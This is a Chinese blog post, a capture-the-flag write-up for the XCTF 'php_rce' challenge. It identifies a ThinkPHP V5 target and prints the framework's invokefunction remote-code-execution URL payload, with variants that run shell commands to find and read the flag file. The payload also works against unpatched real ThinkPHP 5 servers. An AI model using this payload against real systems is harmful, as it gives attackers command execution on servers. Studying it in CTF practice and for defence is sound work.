

# XCTF-高手进阶区：php\_rce

原创

1stPeak 于 2020-03-02 10:58:26 发布 1151 收藏 4

分类专栏：[CTF刷题](#) 文章标签：[XCTF](#)

版权声明：本文为博主原创文章，遵循[CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/qq\\_41617034/article/details/104606700](https://blog.csdn.net/qq_41617034/article/details/104606700)

版权



[CTF刷题](#) 专栏收录该内容

87 篇文章 22 订阅

订阅专栏

题目：



:)

## ThinkPHP V5

十年磨一剑 - 为API开发设计的高性能框架

[ V5.0 版本由 [七牛云](#) 独家赞助发布 ]

看到题目就知道是thinkphp的远程执行漏洞

payload:

index.php默认的话可以不需要

```
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php代码
```

注：代码后面可不加分号

获得flag:

```
index.php?s=index/think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag
```

```
index.php?s=index/think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
```